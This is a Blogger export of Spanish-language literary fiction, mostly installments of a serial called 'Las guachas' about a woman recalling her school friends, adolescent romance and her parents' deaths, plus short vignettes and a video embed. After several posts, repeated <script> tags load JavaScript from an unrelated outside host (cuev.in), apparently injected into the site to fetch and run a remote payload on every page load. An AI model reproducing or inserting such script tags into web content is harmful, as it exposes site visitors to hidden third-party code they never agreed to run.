<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> La
voz gravísima del hombre retumbó por las paredes del pasillo.<i> ¡No quiero escuchar más a estos perros
tocar! </i>Y después un forcejeo, el quejido de la bisagra de la puerta en
tensión.<i> </i><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> — ¡Váyase
o llamo a la policía!<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> — ¡Perros!
¡Perros!<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Manuel
tenía cara de asustado, la música del Tetris seguía sonando. Lupe volvió a
mirar por la ventana: el hombre de espaldas y en silencio. Giró sobre su eje y
el sol contra la nieve le iluminó la cara, la nariz enorme. Estiró los brazos
al costado del cuerpo como un cóndor y, mirando a través del vidrio y adentro
de los ojos de Lupe, el gigante pegó un alarido que la hizo saltar y caer al
suelo de panza.<u><o:p></o:p></u></span></div>
<br />
<div class="MsoNormal">
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-5085640713730129677.post-36672754855201475402018-03-23T15:04:00.001-07:002021-02-17T11:07:05.792-08:00Las guachas<div dir="ltr" style="text-align: left;" trbidi="on">
<table align="center" border="0" style="background-color: white; border-collapse: collapse; border-spacing: 0px; box-sizing: border-box; font-family: Avenir, "Helvetica Neue", Helvetica, Arial, sans-serif; margin: 0px auto; padding: 0px;"><tbody style="box-sizing: border-box; margin: 0px; padding: 0px;">
<tr style="box-sizing: border-box; margin: 0px; padding: 0px;"><td style="box-sizing: border-box; margin: 0px; padding: 0px;"><div align="left" class="ContTextod" style="box-sizing: border-box; font-family: arial, helvetica, sans-serif; font-size: 12px; margin-bottom: 20px; padding: 0px;">
A veces parece<br style="box-sizing: border-box; margin: 0px; padding: 0px;" />que estamos en el centro de la fiesta.<br style="box-sizing: border-box; margin: 0px; padding: 0px;" />Sin embargo,<br style="box-sizing: border-box; margin: 0px; padding: 0px;" />en el centro de la fiesta no hay nadie.<br style="box-sizing: border-box; margin: 0px; padding: 0px;" />En el centro de la fiesta está el vacío.<br style="box-sizing: border-box; margin: 0px; padding: 0px;" /><br style="box-sizing: border-box; margin: 0px; padding: 0px;" />Pero en el centro del vacío hay otra fiesta.<br style="box-sizing: border-box; margin: 0px; padding: 0px;" /><br style="box-sizing: border-box; margin: 0px; padding: 0px;" /><br style="box-sizing: border-box; margin: 0px; padding: 0px;" />De: <i style="box-sizing: border-box; margin: 0px; padding: 0px;">Poesía Vertical XII - 21 roberto juarroz</i></div>
<div align="left" class="ContTextod" style="box-sizing: border-box; font-family: arial, helvetica, sans-serif; font-size: 12px; margin-bottom: 20px; padding: 0px;">
<span style="background-color: transparent; font-family: "times new roman", serif; font-size: 12pt; text-align: justify;"> </span><span style="background-color: transparent; font-family: "times new roman", serif; font-size: 12pt; text-align: justify;">Muchos años antes, la compañía de su padre la había hecho
sentir que todo estaba bien, que nada podía pasarle. Se le ató el nudo detrás
de la lengua. El olor de su papá, su familiaridad, habían sido todo el cobijo y
la seguridad del mundo, con todos los rincones y accidentes que Julia ahora
conocía. Y después se convirtió en aquel señor tierno que no podía leer, y después
en nada. Ahora ella se cobijaba sola. ¿Había yerba? Pensó que podía hacerse
unos mates, leer un rato, y después se encargaría de responder al mail de la
despedida. ¿Iría?</span><span style="background-color: transparent; font-family: "times new roman", serif; font-size: 12pt; text-align: justify;"> Pronto sería su
cumpleaños número treinta y siete. Ya eran más los cumpleaños sin ver a sus
amigas que los que festejaron juntas. Pero ¿por qué aquellos todavía parecían
eternos, cuando los últimos se apilaban ahora uno sobre otro, indistinguibles?
Un viento desprolijo recorrió el jardín, la Santa Rita se sacudió unas cuentas
hojas fucsia de encima. Terminaba el calor, de nuevo el comienzo del fin del
ciclo de trabajo de la naturaleza. Le gustaban los colores del otoño, le
parecía que iban bien con su nombre, </span><i style="background-color: transparent; font-family: "times new roman", serif; font-size: 12pt; text-align: justify;">Julia.</i><span style="background-color: transparent; font-family: "times new roman", serif; font-size: 12pt; text-align: justify;">
Amarillo, marrón, rojo. El pasto se cubría de hojas, la Ampelopsis se hacía la
muerta por meses. Cada otoño ella entraba su mecedora al jardín de invierno,
una habitación de vidrio al fondo del terreno. Era el único lugar y momento en
que lograba leer los libros de su mamá, cuya biblioteca había heredado hacía
años. Se había impuesto la misión de leerlos todos, hasta el que menos le
interesara, lo hacía por ella. Estaba fallando y se castigaba por haberse
impuesto una misión que no le implicaba ningún placer. Cerró los ojos y escuchó
la vieja voz de su mamá llamándola a poner la mesa. También la recordaba, años
más tarde, leyéndole a su padre en voz alta, los dos tirados en la cama,
abrazados, él largo y flaco como un árbol. Perdía sus anteojos todo el tiempo,
entonces ella accedía a hacer algunas cosas en su lugar.</span></div>
</td></tr>
</tbody></table>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"><br /> </span>Una tarde en que se iban para el cine, su padre se olvidó
los anteojos, no vio al ciclista, intentó esquivar la moto, resbaló contra el
cordón, el árbol, la altura. El Citroën blanco de la infancia voló por el cielo
como una gaviota invencible. La única que se había enterado era Merry, al menos
había sido la única en intentar comunicarse con Julia. Un mail que ella nunca
abrió. Recién entonces, con la muerte de su propia familia, se dio cuenta de
que nunca había entendido el dolor de Coca al perder a Lidia. Sintió la soledad
de la carga, de los rincones que no se pueden compartir, esos que se habitan de
a uno. La pregunta que la persiguió durante muchos años era si, a pesar de todo,
ellos la habían conocido de verdad. O si la familia había sido una grieta desde
el nacimiento, que con el tiempo se abría, nunca lo suficiente como para
alertar a nadie, pero con la suficiente constancia como para dejar a cada uno
habitando su propia isla desierta. La vida de sus padres era una película que Julia
había visto por la mitad.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span>Poner la pava en
la hornalla le pareció un ritual del pasado. En Lisboa usaban la calentadora
eléctrica, el gas era un mal cada vez más innecesario. A Julia le gustaba mirar
las llamas, una fogata en miniatura. Buscó entre los estantes y encontró el
viejo mate de su abuela, el que había traído de Uruguay. ¿Y su vida? Para sus
padres habría sido como un cuento corto, lleno de elipsis. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span lang="ES-AR" style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">Pensaba, sobre todo, en las noches en que se quedaba a dormir en lo de
Gonzalo a escondidas. Inventaba alguna mentira para su mamá, casi siempre
vinculada con alguna de las amigas. Llevaba su mochila del colegio, sus libros,
sus útiles, su pollera cuadrille y la camisa blanca. Bibiana, la mamá de
Gonzalo, no llegaba de trabajar hasta las siete, y tenían la casa para ellos. Era
podóloga. Tomaban la merienda, <span style="mso-bidi-font-style: italic;">¿qué
tomaba ella? </span>Todavía ni había probado el mate y no le gustaba la
leche. Tomaba un vaso de agua y comían galletitas, siempre de chocolate. Ella
se sacaba los zapatos y las medias que el colegio obligaba a llevar altas hasta
la rodilla. Se desabrochaba la camisa e iban arrastrando los pies por el piso
de madera hasta la habitación, sin limpiar la mesa ni apagar la tele. Pasaban
por el living con la ventana abierta de par en par <span style="mso-bidi-font-style: italic;">para ventilar,<i> </i></span>el portarretratos con una foto de ellos
bailando el vals en una fiesta de 15. Era la preferida de Bibiana. El cuarto de
Gonzalo los recibía con los colores brillantes de un poster de Palermo con la
remera de Boca.</span><span lang="ES-AR" style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"> </span><span lang="ES-AR" style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">Se escuchaba el ruido de los autos por la calle, estaban cerca de la
avenida. También estaban cerca del colegio, y le gustaba pensar que alguno de
esos autos fuera el de su padre o, mejor, el de los padres de algún compañero
de colegio que lo había ido a buscar a la salida. Mientras ella, ahí, en ese
limbo de sábanas de autitos y posters de Boca, con las mochilas arrinconadas en
una esquina, el ventilador girando lento en el techo y, bien pegado a la Julia
adolescente, en la cama de media plaza, el cuerpo de Gonzalo.</span><span lang="ES-AR" style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"> </span><span lang="ES-AR" style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">Y entonces
todo el resto, el juego infinito que todavía no se habían animado a concluir, y
a las seis y media vestirse, sentarse frente a la tele del living, comer
galletitas de chocolate de nuevo y esperar a que llegue Bibiana.</span><span lang="ES-AR" style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"> </span><span lang="ES-AR" style="font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;">Después la
cena, hablar de los planes para el fin de semana, del partido, de los amigos
del club, mucho repetir: <i>por favor, gracias</i>. En una de esas sonaba
el teléfono y él atendía, la madre le hacía un gesto porque estaban en la mesa
y el desaparecía por el pasillo, dejándolas en la cocina con el ruido de la
tele de fondo, las noticias de un mundo que Julia todavía no llegaba a entender.
Bibiana le preguntaba por las materias, por las notas y se quejaba de que
Gonzalo se llevaba muchas a diciembre, sugería siempre que él debería aprender
de <i>su novia,</i> así decía: <i>su novia</i>, que era Julia,
que estaba ahí. Nunca la función de novia le volvió a parecer tan fresca como
entonces, se sentía alguien, parte de algo en relación a los demás. <span style="background: white; color: black;">Antes de ir a dormir, pasaba por el baño.
Se cepillaba los dientes con el cepillo de Gonzalo, mientras atendía a los
envases con etiquetas rosas que eran las cremas de Bibiana.</span></span><span style="background: white; color: black; font-family: "times new roman" , serif; font-size: 12.0pt; line-height: 107%;"> Entraba a la pieza y cerraban la puerta. Se
cambiaba la pollera por un short de Boca y buscaba abrazarse a él, que ponía el
compact de Rodrigo en el equipo de música y se desnudaba debajo de las sábanas.
Ese sentimiento, que a Julia le pareció que duraría por siempre, había sido
solo un momento. Un recuerdo que ahora duraba lo que tardó en calentarse el
agua para el mate. </span><o:p></o:p></div>
<br />
<br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-44224469653259473642018-03-22T16:03:00.003-07:002021-02-17T11:07:05.831-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
Una lagartija no es una rata. Tampoco un sapo. No se puede tenerle asco a todo. Jose tampoco comía mariscos ni cebolla.<br />
-Quedate tranquila, va a cazar todo lo que te asusta- inventé cualquier cosa. No tenía idea acerca del estilo de vida de las lagartijas. Quería estar en paz. Terminar el guiso. Hubiese preferido guisar con música. Girar la cuchara larga de madera al ritmo de una milonga. Quería que Jose estuviera, pero en silencio. Con los ojos cerrados, sin emitir opinión. Pero viva, eh. Que cuando le pidiera que descorche el vino, lo hiciera. Que el plup del corcho nos hiciera reir y mirarnos a los ojos, solo un segundo. La lagartija avanzó a través del techo.<br />
-¡Pensé que estaba muerta!- Y saltaron las chispas del cortocircuito. Jose de pie sobre una silla.<br />
-Le voy a pegar las patas al techo. - Hablé y después silencio. Era un lago negro. El animal con hambre, la boca seca, el estómago hecho bolsa, la lengua desesperada, las patas inmóviles y nosotras, comiendo el guiso como si nada.<br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-53701034666159265692018-03-22T11:52:00.000-07:002021-02-17T11:07:05.867-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
Una lagartija no es una rata. Tampoco es un sapo. No se puede sentir asco hacia todo. Jose tampoco comía mariscos ni cebolla.<br />
<br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-59021682120093477562018-03-15T20:14:00.001-07:002021-02-17T11:07:05.905-08:00Las guachas<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-spacerun: yes;"> </span>La abuela había sido una pionera del
paisajismo en el país, y Julia había sido su única discípula en la familia.
Nadie había querido lidiar con su carácter, preferían dedicarse a cualquier
otro oficio. El tío contador y la sobrina abogada no peleaban nunca. En cambio,
entre Julia y la abuela la discusión acerca de los jardines ornamentales <span style="mso-spacerun: yes;"> </span>duró hasta la muerte. Julia militaba contra el
concepto de <i style="mso-bidi-font-style: normal;">jardín ornamental</i>,<i style="mso-bidi-font-style: normal;"> </i>asumir que la naturaleza podía acomodarse
a la función de adorno le parecía a la vez peligroso y estúpido. Pensó que
quizás podía invitar a las chicas a su casa, podría sacar la mesa al jardín. No
le gustaba salir a la tarde, el sol directo le caía mal. <i style="mso-bidi-font-style: normal;">Soy como un filodendro</i>, pensó.<i style="mso-bidi-font-style: normal;">
Me adapto bien al interior</i>.<i style="mso-bidi-font-style: normal;"> </i><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>¿Las chicas reconocerían la vieja casa de sus abuelos?
Habían estado tantas veces ahí, festejando cumpleaños, de visita algún día del
fin de semana, o esa tarde en que habían perdido a Julia en el Rosedal. Habían
ido a festejar su primer día del estudiante a los bosques de Palermo. Fueron
directo hasta el lago, a los barquitos de alquiler. No querían perderse de
nada, el picnic iba a ser en el epicentro mundial del día de la primavera, del
estudiante, del día de no ir al colegio y de estar en libertad. Se vieron
envueltas en una guerra de agua que empezó entre los barcos de al lado. Dos
pibes habían chocado los remos sin querer, un tercero se llenó la boca de
CocaCola y la escupió encima de otro, los botes se sacudían sobre el lago
marrón formando una espuma negra a su alrededor. Un pibe se tiró al agua,
después otro, desde abajo sacudieron el barco de las chicas. Julia se tiró al
agua, también Merry. Una lancha a motor atravesó el lago y los separó a todos.
Julia quedó con los chicos del primer bote. La última vez que la vieron,
alguien le alcanzaba el brazo para sacarla del barro. Fue El Coca la que horas
después se animó a llamar a la casa de los abuelos para preguntar si había llegado.
Nadie la veía hacía horas, tuvo que confesar que la habían perdido en el
Rosedal. El Página/12 del día siguiente anunciaba la llegada de la primavera
con una foto en blanco y negro del lago, los botes, Julia saltando al ataque de
un desconocido hecho de barro, Agus riendo, Coca abriendo los brazos en cruz en
señal de festejo, como su ídolo, El Diego.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Tampoco se había deshecho del Ford naranja con el que
empezaron a moverse cuando tenían 18. Julia era la única que tenía registro.
Nunca lo quiso vender después de aquellos años; nunca la había dejado a pie. Pero
contrario a lo que había creído durante mucho tiempo, nunca lo volvió a usar.
Estaba metido en el garaje hacía años. <i style="mso-bidi-font-style: normal;">La
naranja mecánica</i>, le decían, aunque ninguna sabía de lo que hablaban. El
auto las había sobrevivido, como había sobrevivido tantas otras cosas. Aquella
noche, por ejemplo, en que salieron al rio a tomar las botellas de champagne
que se habían robado de la navidad en lo de Merry. Tomaron una botella cada una,
sentadas en el auto con la radio y el aire acondicionado encendidos. Frente a
la naranja, la luna llena reflejada en el agua. De ahí siguieron a la puerta de
XaiXai, que ya estaba cerrado. Dejaron las puertas abiertas para que la música
se escuchara afuera y salieron a bailar. Merry se sacudía de pie sobre el capot
del auto. Agus luchaba por llegar al techo. Un momento de éxtasis. Una
camioneta se acercó desde el fondo de la calle. Tardó en llegar por eso ninguna
la escuchó hasta que estuvo estacionada al lado de ellas. El tipo que iba
manejando dijo algo, y Julia fue la única que se dio cuenta. Pensó que le
estaban pidiendo direcciones. Julia entendió que algo estaba pasando cuando dos
sombras saltaron por encima de la caja de la camioneta. Una se arrojó sobre Coca.
Eran dos chicas. Agus se tiró de culo por el parabrisas, rodó sobre el capot y
cayó al suelo de rodillas. Adentro del auto ya estaba Julia. <i style="mso-bidi-font-style: normal;">¡Arrancá!,</i> gritó Coca desde el asiento
de atrás. Merry forcejeaba con una de las pibas. Le quería robar el reloj, a la
vez intentaba entrar al auto por la ventana, Agus la tironeaba hacia adentro.
La otra piba agarró a Julia por el cuello. <i style="mso-bidi-font-style: normal;">Dame
todo o les pego un tiro a todas</i>. Un tiro a todas, dijo así.<i style="mso-bidi-font-style: normal;"> ¡Arrancá!</i> La voz de su amiga le llegó
desde lejos, Merry ya tenía medio cuerpo adentro. Puso primera y salió, le
temblaba la pierna sobre el acelerador.<i style="mso-bidi-font-style: normal;">
Chicas, agachensé, </i>suspiró intentando agacharse ella también. Solo pensaba
en los tiros. Cocales hizo dar la vuelta porque le habían robado el collar de
su mamá. Quizás se había caído al piso, ella sintió el manotazo y un tirón. Las
demás no dijeron nada. La mamá de Coca había muerto el año anterior y nadie iba
a cuestionar la importancia del collar. Volvieron y buscaron sin éxito. Otra
cosa de Lidia se había ido para siempre. Todas la querían porque en su casa
siempre habían podido hacer cualquier cosa. Casi nunca se enojaba. Una de las
excepciones se dio cuando mancharon la pared del living con ponche. Lidia
estaba furiosa y no había manera de sacar el manchón rojo de la pintura. Probaron
con Cif y con vinagre blanco. Agus intentó rezar. La mancha persistió porque
era una letra escarlata. Cuando Lidia estaba visitando a una amiga en San
Francisco, las chicas decidieron hacer un festejo de cumpleaños especial para Coca,
que cumplía 16. Hacía tiempo que querían hacer una gelatina de vodka, como
decían que habían hecho las de cuarto año. Después del colegio pasaron por el
almacén donde les vendían las petacas los sábados antes de cerrar y se
abastecieron con una botella grande de aguardiente, una de ron, y una petaca de
grapa. La gelatina-estrella tardaba en hacerse, así que las chicas decidieron
empezar con las otras bebidas y preparar algunos tragos con hielo y jugo Tang,
otra cosa que siempre había en lo de Coca. Tomaron en el living, Merry y Agus sentadas
en el sillón floreado, las otras dos en los de mimbre. Llegó Gonzalo, que salía
con Julia en aquel momento, con un CD de cumbia que había grabado en el ciber y
algunas cervezas. Lo escucharon toda la noche en <i style="mso-bidi-font-style: normal;">repeat</i>. Merry terminó la botella de grapa con la nariz tapada. Agus
repartió lo que quedaba del aguardiente entre los vasos. Volcó casi la mitad de
la bebida sobre la mesa. Coca le pegó una piña en el muslo y ella se la
devolvió saltándole encima. Intentaba agarrarla por la cabeza pero Coca se
defendía. El sillón crujía debajo de ellas. Una pata cedió y la estructura
entera se vino abajo, Agus y Coca cayeron al piso, Merry se apuró a tirarse
encima de ellas con todo su peso. Gonzalo bajó dos vasos de aguardiente. <i style="mso-bidi-font-style: normal;">¡Miren lo que hago!</i>, Julia subía las
escaleras en medias, no podía mantenerse en pie sin agarrarse de la baranda.<i style="mso-bidi-font-style: normal;"> ¡Miren lo que hago!, </i>volvió a gritar desde
arriba. Se tiró de culo por la escalera, rebotando en cada escalón. Las demás treparon
también hacia la cima, agarrándose de la baranda, de los brazos y los pelos de
unas y otras. Todas querían llegar primeras. Gonzalo seguía sentado en el
living cantando las cumbias. Las chicas caían por las escaleras y volvían a
subir, invadiendo la música con sus risas, que eran imparables, como una sola
risa enorme. Merry rompió el círculo para ir a la cocina, nadie se dio cuenta. Los
culos seguían rebotaban sobre los escalones, la cumbia al mango, Gonzalo fumaba
un cigarrillo. Julia iba por el décimo escalón, casi llegaba al suelo. El
noveno, el octavo, ya empezaba a doler. Algo la detuvo, un golpe fresco en la
cara. Se le había metido hasta en la nariz. Se mareó, tenía los ojos cerrados.
Cuando llegó al último escalón se llevó las manos hacia la cara. Era la torta.
La torta del cumpleaños que había comprado Lidia. La crema le chorreaba por las
orejas. Merry se reía tirada en el suelo boca abajo. Julia la agarró de los
pelos y le empezó a refregar las manos sucias por la cara. Todas estaban
gritando. Agus se acercó corriendo y le estalló un huevo en la cabeza a Merry,
el otro se le explotó contra su propia camisa. Perdió la ventaja y Coca se le
vino encima, tenía el sachet de leche y las regaba a todas de champagne como en
la Formula 1. Julia destrozó el paquete de harina sobre la cabeza de Gonzalo.
La cumbia luchaba por ser oída. Merry se resbaló con la torta y cayó al piso,
todas se le fueron encima. Agus aprovechó para renacer de sus cenizas. Volvió
la ensaladera gigante llena de vodka y gelatina todavía líquida. <i style="mso-bidi-font-style: normal;">¡Poooooooooooncheeeeeeeeeeee!</i> fue su
grito mientras revoleaba el recipiente encima de sus amigas, de las cortinas y
de la pared pintada de blanco. La risa les impedía hablar, ninguna podía
ponerle freno a la batalla porque frenar era perder. Vaciaron la alacena:
Chizitos, yogur, arroz, yerba, todo.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Cuando sonó <i style="mso-bidi-font-style: normal;">El
campanero</i> ninguna pudo resistir ponerse a bailar, Gonzalo en una esquina ya
ensayaba los pasos de siempre. Enganchada venía <i style="mso-bidi-font-style: normal;">El matador</i> y después <i style="mso-bidi-font-style: normal;">Mil
lágrimas</i>. La marea estaba enloquecida. Merry bailaba encima de la mesa con
los brazos en cruz. Coca subió el volumen al máximo, las voces de Los
Santamarta <span style="mso-spacerun: yes;"> </span>hacían vibrar los vidrios de
la casa. En el medio de la pista, Julia se empezó a vomitar encima. Corrió
hasta la pared para sostenerse. La siguiente fue Agus, tirada en el sillón
floreado. Merry vomitó afuera, eso le permitió encontrar la manguera. Cuando
terminó, entró a la casa regando a sus amigas. Coca estaba inconsciente en la
escalera. <i style="mso-bidi-font-style: normal;">¡Nunca me falteeees! ¡Nunca me
engaaaañes!</i> Gonzalo amaba a Antonio Ríos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>La ropa terminó apilada en un rincón del baño de arriba.
Las cuatro se metieron en la bañadera y lucharon por ocupar el lugar debajo del
chorro de agua. Se reían y se resbalaban. A Julia se le ocurrió poner el tapón
y que se tomaran un baño de inmersión. Fue difícil acomodarse, pero lo
lograron. El vapor empezó a cubrir los espejos y la vigilia de las amigas. Coca
descansó la cabeza sobre la espalda de Agus. La voz de Gonzalo las despertó.
Apareció de pie en el medio del baño, la cara desfigurada. A las chicas les
pareció que había tres o cuatro Gonzalos.<i style="mso-bidi-font-style: normal;">
Así que vos sos Lucas_River. Así que sos vos.</i> Le hablaba a Julia. Había
descubierto a Lucas_River, el secreto mejor guardado del grupo, el usuario de
chat al que le habían dado vida para investigar a las demás compañeras, a los
pibes que estaban buenos, a Nicolás y, por supuesto, a Gonzalo y sus andanzas
en XaiXai. Al día siguiente fueron todas al colegio usando las bombachas de
Lidia. <o:p></o:p></span></div>
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-12236309747326703512018-03-11T18:02:00.001-07:002021-02-17T11:07:05.943-08:00Novos Baianos - Preta pretinha<div dir="ltr" style="text-align: left;" trbidi="on">
<iframe allowfullscreen="" frameborder="0" height="344" src="https://www.youtube.com/embed/0FVPQzKw9bk" width="459"></iframe><br />
<br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-30708828015119414632018-03-09T14:49:00.001-08:002021-02-17T11:07:05.980-08:00Las guachas<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<u><span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;">Los planes</span></u><span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>La última vez que se habían visto había sido en el bingo
del colegio, a donde habían llegado presas de la intriga de ver al resto de sus
compañeros en versión adulto-joven, y donde no habían encontrado más que a Caro
Moore, nieta de la dueña del colegio, y a Mariano Díaz, con el pelo largo y los
anteojos de siempre. Esa noche se discutieron algunos rumores, Guíligan se
había vuelto loco y ahora trabajaba juntando papas en algún lugar en el norte
de Estados Unidos, Gigi ya había tenido hijos. Recordaron las veces que le
escondían a Chip la cartuchera abajo del banco del profesor. Un repertorio
cansado. Cayeron en la trampa, pero después del bingo ninguna volvió a pisar el
colegio.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span>Julia creía, por nunca haberla cuestionado,
en una línea divisoria entre el pasado y el presente, una frontera que jamás se
le había manifestado pero con la que siempre había contado.<span style="mso-tab-count: 1;"> </span>Su amistad no tenía nada que ver con
el presente. Las unía un pasado en común, un terreno tan infértil que no hacía
falta regarlo. En el aeropuerto, minutos antes del embarque, Julia se pidió un
café con un pastel de nata. Le sudaban las palmas de la mano, pensaba en Buenos
Aires. En el calor. Pensaba en las tardes de la escuela, hacía tantos años, los
shorts de jean, darse besos en la vereda, contra las rejas o las cortezas de
los árboles. Pensaba en las baldosas, las cucarachas en el verano. Cómo eran,
desprolijas, unas adolescentes deformes jugando a ser minas, jugando mal,
imaginando cualquier cosa. Fumando a propósito. Maquillándose con marcadores
negros, poniéndose estrellitas en la cara, los pañuelos en las muñecas. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>En la mesa de al lado había una familia de franceses, la
hija alta, flaca, de pelo de sirena y vestido de flores, sus piernas largas y
lisas. La sintió más adulta que ella. Más adulta que ella a los catorce, y que
ella a los treinta y cuatro. Las pibas de hoy las hubiesen comido crudas. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Julia esperaba a que se enfriara su café, abrió el sobre
de canela y lo espolvoreó sobre la crema del pastel. Hizo lo mismo con el
azúcar impalpable y se chupó las puntas de los dedos. Sonó el teléfono. Un mail
de Tina. <i style="mso-bidi-font-style: normal;">Debe estar reenviando algo. Una
cadena de oración</i>. ¿Habían llegado a ese momento de la vida en que perdían
el pudor cibernético? Probablemente sí.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span><i style="mso-bidi-font-style: normal;">Agus. </i>Así la
había conocido Julia a los ocho años. A los quince, más o menos, Agus se dio
cuenta de las opciones que su nombre le daba. <i style="mso-bidi-font-style: normal;">Tina </i>no se llamaba nadie, y en el secundario ya había tres
Agustinas, ninguna particularmente llamativa. Tenía que alejarse de ese nombre.
<i style="mso-bidi-font-style: normal;">Tina</i>, además, sonaba más sofisticado.
Le tomó mucho tiempo sugerir el nuevo apodo, y nunca logró que prendiera del
todo entre sus compañeras. Firmaba al costado de la hoja rayada: Tina Torres.
Esperaba que el cambio comenzara con los profesores, que la llamaran en voz
alta leyendo los márgenes de sus hojas. La primera vez sería con dudas,<i style="mso-bidi-font-style: normal;"> ¿Tina Torres?, </i>se imaginaba a Grace, la
de matemática, mirando por encima de sus anteojos, la mirada incrédula.
Entonces Agus levantaría la mano y diría <i style="mso-bidi-font-style: normal;">Si,
acá</i>, con total naturalidad, una y otra vez, cada día de clases, hasta que
su antiguo nombre quedara enterrado para siempre. Unos meses más tarde, fue la
primera vez que Julia la llamo por el nuevo apodo. Estaban todas en el casusho.
El casusho quedaba justo en frente del kiosco de Richar, donde podían comprarse
los pebetes del almuerzo y cruzar la calle sin perder a ninguna de las chicas
